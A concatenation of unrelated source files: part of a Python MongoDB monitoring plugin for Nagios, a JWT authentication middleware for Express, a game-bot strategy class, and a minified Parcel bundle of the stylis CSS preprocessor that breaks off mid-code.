database = db['name']
data = con[database].command('dbstats')
storage_size = round(data['storageSize'] / 1024 / 1024, 1)
message += "; Database %s size: %.0f MB" % (database, storage_size)
perf_data_param.append((storage_size, database + "_database_size"))
total_storage_size += storage_size
perf_data_param[0] = (total_storage_size, "total_size", warning, critical)
message += performance_data(perf_data, perf_data_param)
message = "Total size: %.0f MB" % total_storage_size + message
return check_levels(total_storage_size, warning, critical, message)
def check_database_size(con, database, warning, critical, perf_data):
warning = warning or 100
critical = critical or 1000
perfdata = ""
try:
set_read_preference(con.admin)
data = con[database].command('dbstats')
storage_size = data['storageSize'] // 1024 // 1024
if perf_data:
perfdata += " | database_size=%i;%i;%i" % (storage_size, warning, critical)
#perfdata += " database=%s" %(database)
if storage_size >= critical:
print("CRITICAL - Database size: %.0f MB, Database: %s%s" % (storage_size, database, perfdata))
return 2
elif storage_size >= warning:
print("WARNING - Database size: %.0f MB, Database: %s%s" % (storage_size, database, perfdata))
return 1
else:
print("OK - Database size: %.0f MB, Database: %s%s" % (storage_size, database, perfdata))
return 0
except Exception as e:
return exit_with_general_critical(e)
def check_database_indexes(con, database, warning, critical, perf_data):
#
# These thresholds are basically meaningless, and must be customized to your application
#
warning = warning or 100
critical = critical or 1000
perfdata = ""
try:
set_read_preference(con.admin)
data = con[database].command('dbstats')
index_size = data['indexSize'] / 1024 // 1024
if perf_data:
perfdata += " | database_indexes=%i;%i;%i" % (index_size, warning, critical)
if index_size >= critical:
print("CRITICAL - %s indexSize: %.0f MB %s" % (database, index_size, perfdata))
return 2
elif index_size >= warning:
print("WARNING - %s indexSize: %.0f MB %s" % (database, index_size, perfdata))
return 1
else:
print("OK - %s indexSize: %.0f MB %s" % (database, index_size, perfdata))
return 0
except Exception as e:
return exit_with_general_critical(e)
def check_collection_documents(con, database, collection, warning, critical, perf_data):
perfdata = ""
try:
set_read_preference(con.admin)
data = con[database].command('collstats', collection)
documents = data['count']
if perf_data:
perfdata += " | collection_documents=%i;%i;%i" % (documents, warning, critical)
if documents >= critical:
print("CRITICAL - %s.%s documents: %s %s" % (database, collection, documents, perfdata))
return 2
elif documents >= warning:
print("WARNING - %s.%s documents: %s %s" % (database, collection, documents, perfdata))
return 1
else:
print("OK - %s.%s documents: %s %s" % (database, collection, documents, perfdata))
return 0
except Exception as e:
return exit_with_general_critical(e)
def check_collection_indexes(con, database, collection, warning, critical, perf_data):
#
# These thresholds are basically meaningless, and must be customized to your application
#
warning = warning or 100
critical = critical or 1000
perfdata = ""
try:
set_read_preference(con.admin)
data = con[database].command('collstats', collection)
total_index_size = data['totalIndexSize'] / 1024 / 1024
if perf_data:
perfdata += " | collection_indexes=%i;%i;%i" % (total_index_size, warning, critical)
if total_index_size >= critical:
print("CRITICAL - %s.%s totalIndexSize: %.0f MB %s" % (database, collection, total_index_size, perfdata))
return 2
elif total_index_size >= warning:
print("WARNING - %s.%s totalIndexSize: %.0f MB %s" % (database, collection, total_index_size, perfdata))
return 1
else:
print("OK - %s.%s totalIndexSize: %.0f MB %s" % (database, collection, total_index_size, perfdata))
return 0
except Exception as e:
return exit_with_general_critical(e)
def check_queues(con, warning, critical, perf_data):
warning = warning or 10
critical = critical or 30
try:
data = get_server_status(con)
total_queues = float(data['globalLock']['currentQueue']['total'])
readers_queues = float(data['globalLock']['currentQueue']['readers'])
writers_queues = float(data['globalLock']['currentQueue']['writers'])
message = "Current queue is : total = %d, readers = %d, writers = %d" % (total_queues, readers_queues, writers_queues)
message += performance_data(perf_data, [(total_queues, "total_queues", warning, critical), (readers_queues, "readers_queues"), (writers_queues, "writers_queues")])
return check_levels(total_queues, warning, critical, message)
except Exception as e:
return exit_with_general_critical(e)
def check_collection_size(con, database, collection, warning, critical, perf_data):
warning = warning or 100
critical = critical or 1000
perfdata = ""
try:
set_read_preference(con.admin)
data = con[database].command('collstats', collection)
size = data['size'] / 1024 / 1024
if perf_data:
perfdata += " | collection_size=%i;%i;%i" % (size, warning, critical)
if size >= critical:
print("CRITICAL - %s.%s size: %.0f MB %s" % (database, collection, size, perfdata))
return 2
elif size >= warning:
print("WARNING - %s.%s size: %.0f MB %s" % (database, collection, size, perfdata))
return 1
else:
print("OK - %s.%s size: %.0f MB %s" % (database, collection, size, perfdata))
return 0
except Exception as e:
return exit_with_general_critical(e)
def check_collection_storageSize(con, database, collection, warning, critical, perf_data):
warning = warning or 100
critical = critical or 1000
perfdata = ""
try:
set_read_preference(con.admin)
data = con[database].command('collstats', collection)
storageSize = data['storageSize'] / 1024 / 1024
if perf_data:
perfdata += " | collection_storageSize=%i;%i;%i" % (storageSize, warning, critical)
if storageSize >= critical:
print("CRITICAL - %s.%s storageSize: %.0f MB %s" % (database, collection, storageSize, perfdata))
return 2
elif storageSize >= warning:
print("WARNING - %s.%s storageSize: %.0f MB %s" % (database, collection, storageSize, perfdata))
return 1
else:
print("OK - %s.%s storageSize: %.0f MB %s" % (database, collection, storageSize, perfdata))
return 0
except Exception as e:
return exit_with_general_critical(e)
def check_queries_per_second(con, query_type, warning, critical, perf_data, mongo_version):
warning = warning or 250
critical = critical or 500
if query_type not in ['insert', 'query', 'update', 'delete', 'getmore', 'command']:
return exit_with_general_critical("The query type of '%s' is not valid" % query_type)
try:
db = con.local
data = get_server_status(con)
# grab the count
num = int(data['opcounters'][query_type])
# do the math
last_count = db.nagios_check.find_one({'check': 'query_counts'})
try:
ts = int(time.time())
diff_query = num - last_count['data'][query_type]['count']
diff_ts = ts - last_count['data'][query_type]['ts']
if diff_ts == 0:
message = "diff_query = " + str(diff_query) + " diff_ts = " + str(diff_ts)
return check_levels(0, warning, critical, message)
query_per_sec = float(diff_query) / float(diff_ts)
# update the count now
if mongo_version == 2:
db.nagios_check.update({u'_id': last_count['_id']}, {'$set': {"data.%s" % query_type: {'count': num, 'ts': int(time.time())}}})
else:
db.nagios_check.update_one({u'_id': last_count['_id']}, {'$set': {"data.%s" % query_type: {'count': num, 'ts': int(time.time())}}})
message = "Queries / Sec: %f" % query_per_sec
message += performance_data(perf_data, [(query_per_sec, "%s_per_sec" % query_type, warning, critical, message)])
except KeyError:
#
# since it is the first run insert it
query_per_sec = 0
message = "First run of check.. no data"
if mongo_version == 2:
db.nagios_check.update({u'_id': last_count['_id']}, {'$set': {"data.%s" % query_type: {'count': num, 'ts': int(time.time())}}})
else:
db.nagios_check.update_one({u'_id': last_count['_id']}, {'$set': {"data.%s" % query_type: {'count': num, 'ts': int(time.time())}}})
except TypeError:
#
# since it is the first run insert it
query_per_sec = 0
message = "First run of check.. no data"
if mongo_version == 2:
db.nagios_check.insert({'check': 'query_counts', 'data': {query_type: {'count': num, 'ts': int(time.time())}}})
else:
db.nagios_check.insert_one({'check': 'query_counts', 'data': {query_type: {'count': num, 'ts': int(time.time())}}})
return check_levels(query_per_sec, warning, critical, message)
except Exception as e:
return exit_with_general_critical(e)
def check_oplog(con, warning, critical, perf_data):
""" Checking the oplog time - the time of the log currntly saved in the oplog collection
defaults:
critical 4 hours
warning 24 hours
those can be changed as usual with -C and -W parameters"""
warning = warning or 24
critical = critical or 4
try:
db = con.local
ol = db.system.namespaces.find_one({"name": "local.oplog.rs"})
if (db.system.namespaces.find_one({"name": "local.oplog.rs"}) != None):
oplog = "oplog.rs"
else:
ol = db.system.namespaces.find_one({"name": "local.oplog.$main"})
if (db.system.namespaces.find_one({"name": "local.oplog.$main"}) != None):
oplog = "oplog.$main"
else:
message = "neither master/slave nor replica set replication detected"
return check_levels(None, warning, critical, message)
try:
set_read_preference(con.admin)
data = con.local.command(pymongo.son_manipulator.SON([('collstats', oplog)]))
except:
data = con.admin.command(son.SON([('collstats', oplog)]))
ol_size = data['size']
ol_storage_size = data['storageSize']
ol_used_storage = int(float(ol_size) / ol_storage_size * 100 + 1)
ol = con.local[oplog]
firstc = ol.find().sort("$natural", pymongo.ASCENDING).limit(1)[0]['ts']
lastc = ol.find().sort("$natural", pymongo.DESCENDING).limit(1)[0]['ts']
time_in_oplog = (lastc.as_datetime() - firstc.as_datetime())
message = "Oplog saves " + str(time_in_oplog) + " %d%% used" % ol_used_storage
try: # work starting from python2.7
hours_in_oplog = time_in_oplog.total_seconds() / 60 / 60
except:
hours_in_oplog = float(time_in_oplog.seconds + time_in_oplog.days * 24 * 3600) / 60 / 60
approx_level = hours_in_oplog * 100 / ol_used_storage
message += performance_data(perf_data, [("%.2f" % hours_in_oplog, 'oplog_time', warning, critical), ("%.2f " % approx_level, 'oplog_time_100_percent_used')])
return check_levels(-approx_level, -warning, -critical, message)
except Exception as e:
return exit_with_general_critical(e)
def check_journal_commits_in_wl(con, warning, critical, perf_data):
""" Checking the number of commits which occurred in the db's write lock.
Most commits are performed outside of this lock; committed while in the write lock is undesirable.
Under very high write situations it is normal for this value to be nonzero. """
warning = warning or 10
critical = critical or 40
try:
data = get_server_status(con)
j_commits_in_wl = data['dur']['commitsInWriteLock']
message = "Journal commits in DB write lock : %d" % j_commits_in_wl
message += performance_data(perf_data, [(j_commits_in_wl, "j_commits_in_wl", warning, critical)])
return check_levels(j_commits_in_wl, warning, critical, message)
except Exception as e:
return exit_with_general_critical(e)
def check_journaled(con, warning, critical, perf_data):
""" Checking the average amount of data in megabytes written to the recovery log in the last four seconds"""
warning = warning or 20
critical = critical or 40
try:
data = get_server_status(con)
journaled = data['dur']['journaledMB']
message = "Journaled : %.2f MB" % journaled
message += performance_data(perf_data, [("%.2f" % journaled, "journaled", warning, critical)])
return check_levels(journaled, warning, critical, message)
except Exception as e:
return exit_with_general_critical(e)
def check_write_to_datafiles(con, warning, critical, perf_data):
""" Checking the average amount of data in megabytes written to the databases datafiles in the last four seconds.
As these writes are already journaled, they can occur lazily, and thus the number indicated here may be lower
than the amount physically written to disk."""
warning = warning or 20
critical = critical or 40
try:
data = get_server_status(con)
writes = data['dur']['writeToDataFilesMB']
message = "Write to data files : %.2f MB" % writes
message += performance_data(perf_data, [("%.2f" % writes, "write_to_data_files", warning, critical)])
return check_levels(writes, warning, critical, message)
except Exception as e:
return exit_with_general_critical(e)
def get_opcounters(data, opcounters_name, host, port):
try:
insert = data[opcounters_name]['insert']
query = data[opcounters_name]['query']
update = data[opcounters_name]['update']
delete = data[opcounters_name]['delete']
getmore = data[opcounters_name]['getmore']
command = data[opcounters_name]['command']
except KeyError as e:
return 0, [0] * 100
total_commands = insert + query + update + delete + getmore + command
new_vals = [total_commands, insert, query, update, delete, getmore, command]
return maintain_delta(new_vals, host, port, opcounters_name)
def check_opcounters(con, host, port, warning, critical, perf_data):
""" A function to get all opcounters delta per minute. In case of a replication - gets the opcounters+opcountersRepl"""
warning = warning or 10000
critical = critical or 15000
data = get_server_status(con)
err1, delta_opcounters = get_opcounters(data, 'opcounters', host, port)
err2, delta_opcounters_repl = get_opcounters(data, 'opcountersRepl', host, port)
if err1 == 0 and err2 == 0:
delta = [(x + y) for x, y in zip(delta_opcounters, delta_opcounters_repl)]
delta[0] = delta_opcounters[0] # only the time delta shouldn't be summarized
per_minute_delta = [int(x / delta[0] * 60) for x in delta[1:]]
message = "Test succeeded , old values missing"
message = "Opcounters: total=%d,insert=%d,query=%d,update=%d,delete=%d,getmore=%d,command=%d" % tuple(per_minute_delta)
message += performance_data(perf_data, ([(per_minute_delta[0], "total", warning, critical), (per_minute_delta[1], "insert"),
(per_minute_delta[2], "query"), (per_minute_delta[3], "update"), (per_minute_delta[4], "delete"),
(per_minute_delta[5], "getmore"), (per_minute_delta[6], "command")]))
return check_levels(per_minute_delta[0], warning, critical, message)
else:
return exit_with_general_critical("problem reading data from temp file")
def check_current_lock(con, host, port, warning, critical, perf_data):
""" A function to get current lock percentage and not a global one, as check_lock function does"""
warning = warning or 10
critical = critical or 30
data = get_server_status(con)
lockTime = float(data['globalLock']['lockTime'])
totalTime = float(data['globalLock']['totalTime'])
err, delta = maintain_delta([totalTime, lockTime], host, port, "locktime")
if err == 0:
lock_percentage = delta[2] / delta[1] * 100 # lockTime/totalTime*100
message = "Current Lock Percentage: %.2f%%" % lock_percentage
message += performance_data(perf_data, [("%.2f" % lock_percentage, "current_lock_percentage", warning, critical)])
return check_levels(lock_percentage, warning, critical, message)
else:
return exit_with_general_warning("problem reading data from temp file")
def check_page_faults(con, host, port, warning, critical, perf_data):
""" A function to get page_faults per second from the system"""
warning = warning or 10
critical = critical or 30
data = get_server_status(con)
try:
page_faults = float(data['extra_info']['page_faults'])
except:
# page_faults unsupported on the underlaying system
return exit_with_general_critical("page_faults unsupported on the underlaying system")
err, delta = maintain_delta([page_faults], host, port, "page_faults")
if err == 0:
page_faults_ps = delta[1] / delta[0]
message = "Page faults : %.2f ps" % page_faults_ps
message += performance_data(perf_data, [("%.2f" % page_faults_ps, "page_faults_ps", warning, critical)])
return check_levels(page_faults_ps, warning, critical, message)
else:
return exit_with_general_warning("problem reading data from temp file")
def check_asserts(con, host, port, warning, critical, perf_data):
""" A function to get asserts from the system"""
warning = warning or 1
critical = critical or 10
data = get_server_status(con)
asserts = data['asserts']
#{ "regular" : 0, "warning" : 6, "msg" : 0, "user" : 12, "rollovers" : 0 }
regular = asserts['regular']
warning_asserts = asserts['warning']
msg = asserts['msg']
user = asserts['user']
rollovers = asserts['rollovers']
err, delta = maintain_delta([regular, warning_asserts, msg, user, rollovers], host, port, "asserts")
if err == 0:
if delta[5] != 0:
#the number of rollovers were increased
warning = -1 # no matter the metrics this situation should raise a warning
# if this is normal rollover - the warning will not appear again, but if there will be a lot of asserts
# the warning will stay for a long period of time
# although this is not a usual situation
regular_ps = delta[1] / delta[0]
warning_ps = delta[2] / delta[0]
msg_ps = delta[3] / delta[0]
user_ps = delta[4] / delta[0]
rollovers_ps = delta[5] / delta[0]
total_ps = regular_ps + warning_ps + msg_ps + user_ps
message = "Total asserts : %.2f ps" % total_ps
message += performance_data(perf_data, [(total_ps, "asserts_ps", warning, critical), (regular_ps, "regular"),
(warning_ps, "warning"), (msg_ps, "msg"), (user_ps, "user")])
return check_levels(total_ps, warning, critical, message)
else:
return exit_with_general_warning("problem reading data from temp file")
def get_stored_primary_server_name(db):
""" get the stored primary server name from db. """
if "last_primary_server" in db.collection_names():
stored_primary_server = db.last_primary_server.find_one()["server"]
else:
stored_primary_server = None
return stored_primary_server
def check_replica_primary(con, host, warning, critical, perf_data, replicaset, mongo_version):
""" A function to check if the primary server of a replica set has changed """
if warning is None and critical is None:
warning = 1
warning = warning or 2
critical = critical or 2
primary_status = 0
message = "Primary server has not changed"
db = con["nagios"]
data = get_server_status(con)
if replicaset != data['repl'].get('setName'):
message = "Replica set requested: %s differs from the one found: %s" % (replicaset, data['repl'].get('setName'))
primary_status = 2
return check_levels(primary_status, warning, critical, message)
current_primary = data['repl'].get('primary')
saved_primary = get_stored_primary_server_name(db)
if current_primary is None:
current_primary = "None"
if saved_primary is None:
saved_primary = "None"
if current_primary != saved_primary:
last_primary_server_record = {"server": current_primary}
if mongo_version == 2:
db.last_primary_server.update({"_id": "last_primary"}, {"$set": last_primary_server_record}, upsert=True)
else:
db.last_primary_server.update_one({"_id": "last_primary"}, {"$set": last_primary_server_record}, upsert=True)
message = "Primary server has changed from %s to %s" % (saved_primary, current_primary)
primary_status = 1
return check_levels(primary_status, warning, critical, message)
def check_page_faults(con, sample_time, warning, critical, perf_data):
warning = warning or 10
critical = critical or 20
try:
try:
set_read_preference(con.admin)
data1 = con.admin.command(pymongo.son_manipulator.SON([('serverStatus', 1)]))
time.sleep(sample_time)
data2 = con.admin.command(pymongo.son_manipulator.SON([('serverStatus', 1)]))
except:
data1 = con.admin.command(son.SON([('serverStatus', 1)]))
time.sleep(sample_time)
data2 = con.admin.command(son.SON([('serverStatus', 1)]))
try:
#on linux servers only
page_faults = (int(data2['extra_info']['page_faults']) - int(data1['extra_info']['page_faults'])) // sample_time
except KeyError:
print("WARNING - Can't get extra_info.page_faults counter from MongoDB")
sys.exit(1)
message = "Page Faults: %i" % (page_faults)
message += performance_data(perf_data, [(page_faults, "page_faults", warning, critical)])
check_levels(page_faults, warning, critical, message)
except Exception as e:
exit_with_general_critical(e)
def chunks_balance(con, database, collection, warning, critical):
warning = warning or 10
critical = critical or 20
nsfilter = database + "." + collection
try:
try:
set_read_preference(con.admin)
col = con.config.chunks
nscount = col.find({"ns": nsfilter}).count()
shards = col.distinct("shard")
except:
print("WARNING - Can't get chunks infos from MongoDB")
sys.exit(1)
if nscount == 0:
print("WARNING - Namespace %s is not sharded" % (nsfilter))
sys.exit(1)
avgchunksnb = nscount // len(shards)
warningnb = avgchunksnb * warning // 100
criticalnb = avgchunksnb * critical // 100
for shard in shards:
delta = abs(avgchunksnb - col.find({"ns": nsfilter, "shard": shard}).count())
message = "Namespace: %s, Shard name: %s, Chunk delta: %i" % (nsfilter, shard, delta)
if delta >= criticalnb and delta > 0:
print("CRITICAL - Chunks not well balanced " + message)
sys.exit(2)
elif delta >= warningnb and delta > 0:
print("WARNING - Chunks not well balanced " + message)
sys.exit(1)
print("OK - Chunks well balanced across shards")
sys.exit(0)
except Exception as e:
exit_with_general_critical(e)
print("OK - Chunks well balanced across shards")
sys.exit(0)
def check_connect_primary(con, warning, critical, perf_data):
warning = warning or 3
critical = critical or 6
try:
try:
set_read_preference(con.admin)
data = con.admin.command(pymongo.son_manipulator.SON([('isMaster', 1)]))
except:
data = con.admin.command(son.SON([('isMaster', 1)]))
if data['ismaster'] == True:
print("OK - This server is primary")
return 0
phost = data['primary'].split(':')[0]
pport = int(data['primary'].split(':')[1])
start = time.time()
err, con = mongo_connect(phost, pport)
if err != 0:
return err
pconn_time = time.time() - start
pconn_time = round(pconn_time, 0)
message = "Connection to primary server " + data['primary'] + " took %i seconds" % pconn_time
message += performance_data(perf_data, [(pconn_time, "connection_time", warning, critical)])
return check_levels(pconn_time, warning, critical, message)
except Exception as e:
return exit_with_general_critical(e)
def check_collection_state(con, database, collection):
try:
con[database][collection].find_one()
print("OK - Collection %s.%s is reachable " % (database, collection))
return 0
except Exception as e:
return exit_with_general_critical(e)
def check_row_count(con, database, collection, warning, critical, perf_data):
try:
count = con[database][collection].count()
message = "Row count: %i" % (count)
message += performance_data(perf_data, [(count, "row_count", warning, critical)])
return check_levels(count, warning, critical, message)
except Exception as e:
return exit_with_general_critical(e)
def build_file_name(host, port, action):
#done this way so it will work when run independently and from shell
module_name = re.match('(.*//*)*(.*)\..*', __file__).group(2)
if (port == 27017):
return "/tmp/" + module_name + "_data/" + host + "-" + action + ".data"
else:
return "/tmp/" + module_name + "_data/" + host + "-" + str(port) + "-" + action + ".data"
def ensure_dir(f):
d = os.path.dirname(f)
if not os.path.exists(d):
os.makedirs(d)
def write_values(file_name, string):
f = None
try:
f = open(file_name, 'w')
except IOError as e:
#try creating
if (e.errno == 2):
ensure_dir(file_name)
f = open(file_name, 'w')
else:
raise IOError(e)
f.write(string)
f.close()
return 0
def read_values(file_name):
data = None
try:
f = open(file_name, 'r')
data = f.read()
f.close()
return 0, data
except IOError as e:
if (e.errno == 2):
#no previous data
return 1, ''
except Exception as e:
return 2, None
def calc_delta(old, new):
delta = []
if (len(old) != len(new)):
raise Exception("unequal number of parameters")
for i in range(0, len(old)):
val = float(new[i]) - float(old[i])
if val < 0:
val = new[i]
delta.append(val)
return 0, delta
def maintain_delta(new_vals, host, port, action):
file_name = build_file_name(host, port, action)
err, data = read_values(file_name)
old_vals = data.split(';')
new_vals = [str(int(time.time()))] + new_vals
delta = None
try:
err, delta = calc_delta(old_vals, new_vals)
except:
err = 2
write_res = write_values(file_name, ";" . join(str(x) for x in new_vals))
return err + write_res, delta
def replication_get_time_diff(con):
col = 'oplog.rs'
local = con.local
firstc = local[col].find().sort("$natural", 1).limit(1)
lastc = local[col].find().sort("$natural", -1).limit(1)
first = next(firstc)
last = next(lastc)
tfirst = first["ts"]
tlast = last["ts"]
delta = tlast.time - tfirst.time
return delta
#
# main app
#
if __name__ == "__main__":
sys.exit(main(sys.argv[1:]))
|
"use strict";Object.defineProperty(exports, "__esModule", {value: true}); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }var _jsonwebtoken = require('jsonwebtoken'); var _jsonwebtoken2 = _interopRequireDefault(_jsonwebtoken);
var _dotenv = require('dotenv'); var _dotenv2 = _interopRequireDefault(_dotenv);
var _UserModel = require('../models/UserModel'); var _UserModel2 = _interopRequireDefault(_UserModel);
var _AppError = require('../config/AppError'); var _AppError2 = _interopRequireDefault(_AppError);
_dotenv2.default.config();
exports. default = async (req, res, next) => {
try {
const { authorization } = req.headers;
if (!authorization) {
throw new (0, _AppError2.default)('Missing authorization token', 401, 'Unauthorized');
}
const [, token] = authorization.split(' ');
const { id, email, name } = _jsonwebtoken2.default.verify(token, process.env.TOKEN_SECRET);
const user = await _UserModel2.default.findOne({ where: { id, email } });
if (!user) {
throw new (0, _AppError2.default)('Invalid token', 401, 'Unauthorized');
}
req.userData = { id, email, name };
return next();
} catch (e) {
if (e instanceof _jsonwebtoken.JsonWebTokenError) {
return res.status(401).json(new (0, _AppError2.default)('Invalid token', 401, 'Unauthorized'));
}
return res.status(e.httpCode || 500).json(e);
}
};
|
from model.ActionType import ActionType
from model.Direction import Direction
from model.Game import Game
from model.Move import Move
from model.Trooper import Trooper
from model.TrooperStance import TrooperStance
from model.TrooperType import TrooperType
from model.World import World
from SimpleStrategy import SimpleStrategy
from CommanderStrategy import CommanderStrategy
class MyStrategy:
strategy = None
def __init__(self):
self.strategy = None
def move(self, me, world, game, move):
# initialize strategy according to trooper type
if not self.strategy:
if me.type == TrooperType.COMMANDER:
self.strategy = CommanderStrategy()
elif me.type == TrooperType.FIELD_MEDIC:
self.strategy = SimpleStrategy()
elif me.type == TrooperType.SOLDIER:
self.strategy = SimpleStrategy()
elif me.type == TrooperType.SNIPER:
self.strategy = SimpleStrategy()
elif me.type == TrooperType.SCOUT:
self.strategy = SimpleStrategy()
self.strategy.move(me, world, game, move)
|
parcelRequire=function(e,r,n,t){var i="function"==typeof parcelRequire&&parcelRequire,o="function"==typeof require&&require;function u(n,t){if(!r[n]){if(!e[n]){var f="function"==typeof parcelRequire&&parcelRequire;if(!t&&f)return f(n,!0);if(i)return i(n,!0);if(o&&"string"==typeof n)return o(n);var c=new Error("Cannot find module '"+n+"'");throw c.code="MODULE_NOT_FOUND",c}p.resolve=function(r){return e[n][1][r]||r},p.cache={};var l=r[n]=new u.Module(n);e[n][0].call(l.exports,p,l,l.exports,this)}return r[n].exports;function p(e){return u(p.resolve(e))}}u.isParcelRequire=!0,u.Module=function(e){this.id=e,this.bundle=u,this.exports={}},u.modules=e,u.cache=r,u.parent=i,u.register=function(r,n){e[r]=[function(e,r){r.exports=n},{}]};for(var f=0;f<n.length;f++)u(n[f]);if(n.length){var c=u(n[n.length-1]);"object"==typeof exports&&"undefined"!=typeof module?module.exports=c:"function"==typeof define&&define.amd?define(function(){return c}):t&&(this[t]=c)}return u}({"mUjP":[function(require,module,exports) {
var global = arguments[3];
var t=arguments[3];function e(e,n,c){if(c)if(e){var o=document.getElementById("component-styles");o.innerHTML.indexOf("--".concat(n))>-1||(o.innerHTML+=c)}else t.__componentStyles||(t.__componentStyles=""),t.__componentStyles+=c}Object.defineProperty(exports,"__esModule",{value:!0}),exports.registerStyles=e;
},{}],"YOxv":[function(require,module,exports) {
var define;
var e;!function(a){"object"==typeof exports&&"undefined"!=typeof module?module.exports=a(null):"function"==typeof e&&e.amd?e(a(null)):window.stylis=a(null)}(function e(a){"use strict";var r=/^\0+/g,c=/[\0\r\f]/g,s=/: */g,t=/zoo|gra/,n=/([,: ])(transform)/g,i=/,+\s*(?![^(]*[)])/g,f=/ +\s*(?![^(]*[)])/g,o=/ *[\0] */g,l=/,\r+?/g,u=/([\t\r\n ])*\f?&/g,b=/:global\(((?:[^\(\)\[\]]*|\[.*\]|\([^\(\)]*\))*)\)/g,h=/\W+/g,d=/@(k\w+)\s*(\S*)\s*/,k=/::(place)/g,g=/:(read-only)/g,p=/\s+(?=[{\];=:>])/g,w=/([[}=:>])\s+/g,C=/(\{[^{]+?);(?=\})/g,A=/\s{2,}/g,v=/([^\(])(:+) */g,m=/[svh]\w+-[tblr]{2}/,x=/\(\s*(.*)\s*\)/g,$=/([\s\S]*?);/g,y=/-self|flex-/g,j=/[^]*?(:[rp][el]a[\w-]+)[^]*/,O=/stretch|:\s*\w+\-(?:conte|avail)/,z=/([^-])(image-set\()/,q="-webkit-",J="-moz-",Q="-ms-",V=59,X=125,Z=123,_=40,F=41,W=91,B=93,H=10,K=13,L=9,Y=64,G=32,N=38,U=45,D=95,I=42,S=44,T=58,P=39,R=34,M=47,E=62,ee=43,ae=126,re=0,ce=12,se=11,te=107,ne=109,ie=115,fe=112,oe=111,le=105,ue=99,be=100,he=112,de=1,ke=1,ge=0,pe=1,we=1,Ce=1,Ae=0,ve=0,me=0,xe=[],$e=[],ye=0,je=null,Oe=-2,ze=-1,qe=0,Je=1,Qe=2,Ve=3,Xe=0,Ze=1,_e="",Fe="",We="";function Be(e,a,s,t,n){for(var i,f,l=0,u=0,b=0,h=0,p=0,w=0,C=0,A=0,m=0,$=0,y=0,j=0,O=0,z=0,D=0,Ae=0,$e=0,je=0,Oe=0,ze=s.length,Ke=ze-1,De="",Ie="",Se="",Te="",Pe="",Re="";D<ze;){if(C=s.charCodeAt(D),D===Ke&&u+h+b+l!==0&&(0!==u&&(C=u===M?H:M),h=b=l=0,ze++,Ke++),u+h+b+l===0){if(D===Ke&&(Ae>0&&(Ie=Ie.replace(c,"")),Ie.trim().length>0)){switch(C){case G:case L:case V:case K:case H:break;default:Ie+=s.charAt(D)}C=V}if(1===$e)switch(C){case Z:case X:case V:case R:case P:case _:case F:case S:$e=0;case L:case K:case H:case G:break;default:for($e=0,Oe=D,p=C,D--,C=V;Oe<ze;)switch(s.charCodeAt(Oe++)){case H:case K:case V:++D,C=p,Oe=ze;break;case T:Ae>0&&(++D,C=p);case Z:Oe=ze}}switch(C){case Z:for(p=(Ie=Ie.trim()).charCodeAt(0),y=1,Oe=++D;D<ze;){switch(C=s.charCodeAt(D)){case Z:y++;break;case X:y--;break;case M:switch(w=s.charCodeAt(D+1)){case I:case M:D=Ue(w,D,Ke,s)}break;case W:C++;case _:C++;case R:case P:for(;D++<Ke&&s.charCodeAt(D)!==C;);}if(0===y)break;D++}switch(Se=s.substring(Oe,D),p===re&&(p=(Ie=Ie.replace(r,"").trim()).charCodeAt(0)),p){case Y:switch(Ae>0&&(Ie=Ie.replace(c,"")),w=Ie.charCodeAt(1)){case be:case ne:case ie:case U:i=a;break;default:i=xe}if(Oe=(Se=Be(a,i,Se,w,n+1)).length,me>0&&0===Oe&&(Oe=Ie.length),ye>0&&(i=He(xe,Ie,je),f=Ne(Ve,Se,i,a,ke,de,Oe,w,n,t),Ie=i.join(""),void 0!==f&&0===(Oe=(Se=f.trim()).length)&&(w=0,Se="")),Oe>0)switch(w){case ie:Ie=Ie.replace(x,Ge);case be:case ne:case U:Se=Ie+"{"+Se+"}";break;case te:Se=(Ie=Ie.replace(d,"$1 $2"+(Ze>0?_e:"")))+"{"+Se+"}",Se=1===we||2===we&&Ye("@"+Se,3)?"@"+q+Se+"@"+Se:"@"+Se;break;default:Se=Ie+Se,t===he&&(Te+=Se,Se="")}else Se="";break;default:Se=Be(a,He(a,Ie,je),Se,t,n+1)}Pe+=Se,j=0,$e=0,z=0,Ae=0,je=0,O=0,Ie="",Se="",C=s.charCodeAt(++D);break;case X:case V:if((Oe=(Ie=(Ae>0?Ie.replace(c,""):Ie).trim()).length)>1)switch(0===z&&((p=Ie.charCodeAt(0))===U||p>96&&p<123)&&(Oe=(Ie=Ie.replace(" ",":")).length),ye>0&&void 0!==(f=Ne(Je,Ie,a,e,ke,de,Te.length,t,n,t))&&0===(Oe=(Ie=f.trim()).length)&&(Ie="\0\0"),p=Ie.charCodeAt(0),w=Ie.charCodeAt(1),p){case re:break;case Y:if(w===le||w===ue){Re+=Ie+s.charAt(D);break}default:if(Ie.charCodeAt(Oe-1)===T)break;Te+=Le(Ie,p,w,Ie.charCodeAt(2))}j=0,$e=0,z=0,Ae=0,je=0,Ie="",C=s.charCodeAt(++D)}}switch(C){case K:case H:if(u+h+b+l+ve===0)switch($){case F:case P:case R:case Y:case ae:case E:case I:case ee:case M:case U:case T:case S:case V:case Z:case X:break;default:z>0&&($e=1)}u===M?u=0:pe+j===0&&t!==te&&Ie.length>0&&(Ae=1,Ie+="\0"),ye*Xe>0&&Ne(qe,Ie,a,e,ke,de,Te.length,t,n,t),de=1,ke++;break;case V:case X:if(u+h+b+l===0){de++;break}default:switch(de++,De=s.charAt(D),C){case L:case G:if(h+l+u===0)switch(A){case S:case T:case L:case G:De="";break;default:C!==G&&(De=" ")}break;case re:De="\\0";break;case ce:De="\\f";break;case se:De="\\v";break;case N:h+u+l===0&&pe>0&&(je=1,Ae=1,De="\f"+De);break;case 108:if(h+u+l+ge===0&&z>0)switch(D-z){case 2:A===fe&&s.charCodeAt(D-3)===T&&(ge=A);case 8:m===oe&&(ge=m)}break;case T:h+u+l===0&&(z=D);break;case S:u+b+h+l===0&&(Ae=1,De+="\r");break;case R:case P:0===u&&(h=h===C?0:0===h?C:h);break;case W:h+u+b===0&&l++;break;case B:h+u+b===0&&l--;break;case F:h+u+l===0&&b--;break;case _:if(h+u+l===0){if(0===j)switch(2*A+3*m){case 533:break;default:y=0,j=1}b++}break;case Y:u+b+h+l+z+O===0&&(O=1);break;case I:case M:if(h+l+b>0)break;switch(u){case 0:switch(2*C+3*s.charCodeAt(D+1)){case 235:u=M;break;case 220:Oe=D,u=I}break;case 